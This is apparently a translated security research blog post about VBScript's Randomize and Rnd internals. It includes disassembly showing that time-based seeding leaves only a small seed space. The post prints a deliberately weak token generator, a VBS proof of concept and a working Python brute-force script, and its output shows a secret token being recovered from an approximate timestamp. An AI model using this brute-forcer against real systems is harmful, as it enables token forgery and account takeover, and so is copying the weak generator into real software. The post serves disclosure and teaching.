Yet Another Random Story: VBScript’s Randomize Internals
25 Sep 2025 - Posted by Adrian Denkiewicz
在我们最近的一篇文章中,Dennis分享了一个有趣的C#利用案例研究,该案例基于随机数生成的密码重置令牌。他演示了如何使用单包攻击或一些传统数学方法来破解系统。最近,我对一个依赖VBScript编写的目标进行了安全测试。本篇博客文章重点讨论VBS的Rnd函数,并展示该情况甚至更为糟糕。
目标应用
该应用负责生成一个秘密令牌。该令牌本应是不可预测的且保持机密。以下是令牌生成代码的大致副本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32
function GenerateToken(chars, n)
Dim result, pos, i, charsLength
charsLength = Int(Len(chars))
For i = 1 To n
Randomize
pos = Int((Rnd * charsLength) + 1)
result = result & Mid(chars, pos, 1)
Next
GenerateToken = result
end function
|
我首先注意到的是Randomize
函数在循环内部被调用。这应该在每次迭代时重新播种PRNG,对吧?这可能导致重复值。然而,与许多其他编程语言相反,在VBScript中,循环内使用Randomize
本身并不是问题。如果再次传递相同的种子(即使是隐式传递),该函数不会重置初始状态。这防止在单个GenerateToken
调用内生成相同的字符序列。如果你确实需要该行为,请在调用带数字参数的Randomize
之前立即使用负参数调用Rnd
。
但如果不是问题,那问题是什么?
VBS的Randomize实际工作原理
以下是简短的API分解:
1
2
3
|
Randomize ' 使用系统时钟为全局PRNG播种
Randomize s ' 使用指定种子值为全局PRNG播种
r = Rnd() ' 下一个[0,1)范围内的浮点数
|
如果没有明确指定种子,Randomize
使用Timer
来设置它(不完全正确,但我们会讲到)。Timer()
返回自午夜以来的秒数,作为Single值。Rnd()
推进全局PRNG状态,并且对于给定种子是完全确定性的。相同种子,相同序列,与其他编程语言一样。
但这里存在一些问题。Windows默认系统时钟滴答约为15.625毫秒,即每秒64次滴答。换句话说,我们每15.625毫秒才获得一个新的隐式种子值。
由于返回值是Single类型,与Double类型相比,我们还会遇到精度损失。实际上,多个"种子"会四舍五入到相同的内部值。想象内部发生碰撞。结果,可能的唯一序列数量比你想象的要少得多!
实际上最多只有65,536个不同的有效播种(详情如下)。由于Timer()
在午夜重置,同一集合每天重复出现。
我们运行了客户代码的本地副本来生成唯一令牌。在近10,000次运行中,我们仅成功生成了400个唯一值。其余令牌是重复的。随着时间的推移,重复率增加。
当然,这里的真正目标是恢复原始秘密。如果我们知道GenerateToken
函数开始的时间,我们就可以实现这一点。值越精确,所需计算越少。然而,即使我们只有一个粗略的概念,比如"午夜后的分钟数",我们可以从00:00开始,慢慢将种子值增加15.625毫秒。
概念验证
我们首先通过双重检查我们的策略开始。我们修改了初始代码以使用命令行提供的种子值。注意,相同的种子被多次使用。虽然在原始代码中,种子值可能在循环迭代之间变化,但实际上这种情况不常发生。我们可以扩展我们的PoC来处理此类场景,但为了可读性,我们希望保持代码尽可能简洁。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
Option Explicit
If WScript.Arguments.Count < 1 Then
WScript.Echo "VBS_Error: Requires 1 seed argument."
WScript.Quit(1)
End If
Dim seedToTest
seedToTest = WScript.Arguments(0)
WScript.Echo "Seed: " & seedToTest
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32
WScript.Echo "Predicted token: " & GenerateToken(chars, n, seedToTest)
function GenerateToken(chars, n, seed)
Dim result, pos, i, charsLength
charsLength = Int(Len(chars))
For i = 1 To n
Randomize seed
pos = Int((Rnd * charsLength) + 1)
result = result & Mid(chars, pos, 1)
Next
GenerateToken = result
end function
|
我们从另一段代码中获取了精确的Timer()
值,并将其用作输入种子。但奇怪的是,它不起作用。出于某种原因,我们最终得到了完全不同的PRNG状态。我们花了一些时间才理解Randomize
和Randomize Timer()
并不完全相同。
VBScript由微软在1990年代中期推出,作为Visual Basic的轻量级解释子集。截至Windows 11版本24H2,VBScript是按需功能(FOD)。这意味着目前默认安装,但微软计划在未来版本中禁用它并最终移除它。尽管如此,感兴趣的方法在vbscript.dll库中实现,我们可以查看vbscript!VbsRandomize
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
; edi = argc
vbscript!VbsRandomize+0x50:
00007ffc`12d076a0 85ff test edi,edi ; is argc == 0 ?
00007ffc`12d076a2 755b jne vbscript!VbsRandomize+0xaf ; if not zero, goto Randomize <seed> path
; otherwise, seed taken from current time
00007ffc`12d076a4 488d4c2420 lea rcx,[rsp+20h]
00007ffc`12d076a9 48ff15... call GetLocalTime
; build "seconds" = hh*3600 + mm*60 + ss
00007ffc`12d076b5 0fb7442428 movzx eax,word ptr [rsp+28h]
00007ffc`12d076ba 6bc83c imul ecx,eax,3Ch
00007ffc`12d076bd 0fb744242a movzx eax,word ptr [rsp+2Ah]
00007ffc`12d076c2 03c8 add ecx,eax
00007ffc`12d076c4 0fb744242c movzx eax,word ptr [rsp+2Ch]
00007ffc`12d076c9 6bd13c imul edx,ecx,3Ch
00007ffc`12d076cc 03d0 add edx,eax
; convert milliseconds to double, divide by 1000.0
00007ffc`12d076ce 0fb744242e movzx eax,word ptr [rsp+2Eh]
00007ffc`12d076d3 660f6ec0 movd xmm0,eax
00007ffc`12d076d7 f30fe6c0 cvtdq2pd xmm0,xmm0
00007ffc`12d076db 660f6eca movd xmm1,edx
00007ffc`12d076df f20f5e0599... divsd xmm0,[vbscript!_real]
00007ffc`12d076e7 f30fe6c9 cvtdq2pd xmm1,xmm1
00007ffc`12d076eb f20f58c8 addsd xmm1,xmm0
; narrow down
00007ffc`12d076ef 660f5ac1 cvtpd2ps xmm0,xmm1 ; double -> float conversion
00007ffc`12d076f3 f30f11442420 movss [rsp+20h],xmm0 ; spill float
00007ffc`12d076f9 8b4c2420 mov ecx,[rsp+20h] ; load as int bits
; ecx now holds 32-bit seed candidate
...
; code used later (in both cases) to mix into PRNG state
vbscript!VbsRandomize+0xda:
00007ffc`12d0772a 816350ff0000ff and dword [rbx+50h],0FF0000FFh ; keep top/bottom byte
00007ffc`12d07731 8bc1 mov eax,ecx
00007ffc`12d07733 c1e808 shr eax,8
00007ffc`12d07736 c1e108 shl ecx,8
00007ffc`12d07739 33c1 xor eax,ecx
00007ffc`12d0773b 2500ffff00 and eax,00FFFF00h
00007ffc`12d07740 094350 or dword [rbx+50h],eax
|
当我们之前说裸Randomize
使用Timer()
作为种子时,我们并不完全正确。实际上,它只是调用WinApi的GetLocalTime
。它将秒加上小数毫秒计算为Double,然后使用CVTPD2PS汇编指令缩小到Single(浮点数)。
让我们以65860.48为例。它可以用十六进制表示法表示为0x40f014479db22d0e。在执行所有这些数学运算之后,我们的0x40f014479db22d0e变为0x4780a23d,并用作种子输入。
当明确给出输入时,会发生以下情况:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
; argc == 1, seed given
vbscript!VbsRandomize+0xaf:
00007ffc`12d076ff 33d2 xor edx,edx
00007ffc`12d07701 488bce mov rcx,rsi
00007ffc`12d07704 e8... call vbscript!VAR::PvarGetVarVal
00007ffc`12d07709 ba05000000 mov edx,5
00007ffc`12d0770e 488bc8 mov rcx,rax ; rcx = VAR* (value)
00007ffc`12d07711 e8... call vbscript!VAR::PvarConvert
00007ffc`12d07716 f20f104008 movsd xmm0,mmword [rax+8] ; load the double payload
00007ffc`12d0771b f20f11442420 movsd [rsp+20h],xmm0 ; spill as 64-bit
00007ffc`12d07721 488b4c2420 mov rcx,qword [rsp+20h] ; rcx = raw IEEE-754 bits
00007ffc`12d07726 48c1e920 shr rcx,20h ; **take high dword** as seed source
|
当我们指定种子值时,它以完全不同的方式处理。它不是使用CVTPD2PS操作码进行转换,而是右移32位。所以这次,我们的0x40f014479db22d0e变为0x40f01447。我们最终得到完全不同的种子输入。这解释了为什么我们无法正确重新播种PRNG。
最后,内部PRNG状态的中间两个字节使用这些位的字节交换XOR混合进行更新,而状态的顶部和底部字节被保留。
老实说,我曾考虑将所有这些重新实现到Python中,以更清楚地了解发生了什么。但随后,Python提醒我它可以处理几乎无限的数字(至少是整数)。另一方面,VBScript实现实际上充满了Python不会生成的潜在数字溢出。因此,我保留了令牌生成代码原样,仅在Python中实现了种子转换。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
"""
Convert the time range given on the command line into all VBS-Timer()
values between them (inclusive) in **0.015625-second** steps (1/64 s),
turn each value into the special Double that `Randomize <seed>` expects,
feed the seed to VBS_PATH, parse the predicted token, and test it.
usage
python brute_timer.py <start_clock> <end_clock>
examples
python brute_timer.py "12:58:00 PM" "12:58:05 PM"
python brute_timer.py "17:42:25.50" "17:42:27.00"
Both 12- and 24-hour clock strings are accepted; optional fractional
seconds are allowed.
"""
import subprocess
import struct
import sys
import re
from datetime import datetime
VBS_PATH = r"C:\share\poc.vbs"
TICK = 1 / 64 # 0.015 625 s (VBS Timer resolution)
STEP = TICK
def vbs_timer_value(clock_text: str) -> float:
"""Clock string to exact Single value returned by VBS's Timer()."""
for fmt in ("%I:%M:%S %p", "%I:%M:%S.%f %p",
"%H:%M:%S", "%H:%M:%S.%f"):
try:
t = datetime.strptime(clock_text, fmt).time()
break
except ValueError:
continue
else:
raise ValueError("time format not recognised: " + clock_text)
secs = t.hour*3600 + t.minute*60 + t.second + t.microsecond/1e6
secs = round(secs / TICK) * TICK # snap to nearest 1/64 s
# force Single precision (float32) to match VBS mantissa exactly
secs = struct.unpack('<f', struct.pack('<f', secs))[0]
return secs
def make_manual_seed(timer_value: float) -> float:
"""Build the Double that Randomize <seed> receives"""
single_le = struct.pack('<f', timer_value) # 4 bytes little-endian
dbl_le = b"\x00\x00\x00\x00" + single_le # low dword zero, high dword = f32
return struct.unpack('<d', dbl_le)[0] # Python float (Double)
# ---------------------------------------------------------------------------
# MAIN ROUTINE
# ---------------------------------------------------------------------------
def main():
if len(sys.argv) != 3:
print(__doc__)
sys.exit(1)
start_val = vbs_timer_value(sys.argv[1])
end_val = vbs_timer_value(sys.argv[2])
if end_val < start_val:
print("[ERROR] end time is earlier than start time")
sys.exit(1)
tried_tokens = set()
unique_tested = 0
success = False
print(f"[INFO] Range {start_val:.5f} to {end_val:.5f} in {STEP}-s steps")
value = start_val
while value <= end_val + 1e-7: # small epsilon for fp rounding
seed = make_manual_seed(value)
try:
vbs = subprocess.run([
"cscript.exe", "//nologo", VBS_PATH, str(seed)
], capture_output=True, text=True, check=True)
except subprocess.CalledProcessError as e:
print(f"[ERROR] VBS failed for seed {seed}: {e}")
value += STEP
continue
m = re.search(r"Predicted token:\s*(.+)", vbs.stdout)
if not m:
print(f"[{value:.5f}] No token from VBS")
value += STEP
continue
token = m.group(1).strip()
if token in tried_tokens:
value += STEP
# print(f"Duplicate for [{value:.5f}] / seed: {seed}: {token}")
continue
tried_tokens.add(token)
unique_tested += 1
print(f"[{value:.5f}] Test #{unique_tested}: {token} // calculated seed: {seed}")
# ...logic omitted - but we need some sort of token verification here
value += STEP
if __name__ == "__main__":
main()
|
攻击
现在,我们可以运行基础代码并捕获一个半精确的当前时间值。我们的Python使用正确格式的字符串,因此我们可以使用简单方法转换数字:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
Dim t, hh, mm, ss, ns
t = Timer()
hh = Int(t \ 3600)
mm = Int((t Mod 3600) \ 60)
ss = Int(t Mod 60)
ns = (t - Int(t)) * 1000000
WScript.Echo _
Right("0" & hh, 2) & ":" & _
Right("0" & mm, 2) & ":" & _
Right("0" & ss, 2) & "." & _
Right("000000" & CStr(Int(ns)), 6)
|
假设令牌在17:55:54.046875精确生成,我们得到了QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7字符串。在我们的目标案例中,我们知道一些文件是在17:55:54创建的,这相当接近令牌生成时间。在其他情况下,信息泄漏可能来自某些资源创建元数据、日志文件中的条目等。
我们在可疑时间窗口内以0.015625秒步长(64 Hz)迭代时间种子,并过滤所有重复项。
我们以1秒范围启动了brute_timer.py脚本,并在第4次迭代中成功恢复了秘密:
1
2
3
4
5
6
7
|
PS C:\share> python3 .\brute_timer.py 17:55:54 17:55:55
[INFO] Range 64554.00000 to 64555.00000 in 0.015625-s steps
[64554.00000] Test #1: eYIkXKdsUTC3Uz#R)P$BlVRJie9U2(4B // calculated seed: 2.3397787718772567e+36
[64554.01562] Test #2: ZTDgSGZnPP#yQv*M6L)#hQNEdZ5Px50$ // calculated seed: 2.3397838424796576e+36
[64554.03125] Test #3: VP!bOBUjLK&uLq8I2G7*cMIAZV0Lt1v* // calculated seed: 2.3397889130820585e+36
[64554.04688] Test #4: QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 // calculated seed: 2.3397939836844594e+36
[...snip...]
|
VBScript的Randomize和Rnd如果你只想在屏幕上掷一些骰子是可以的,但甚至不要考虑将它们用于机密目的。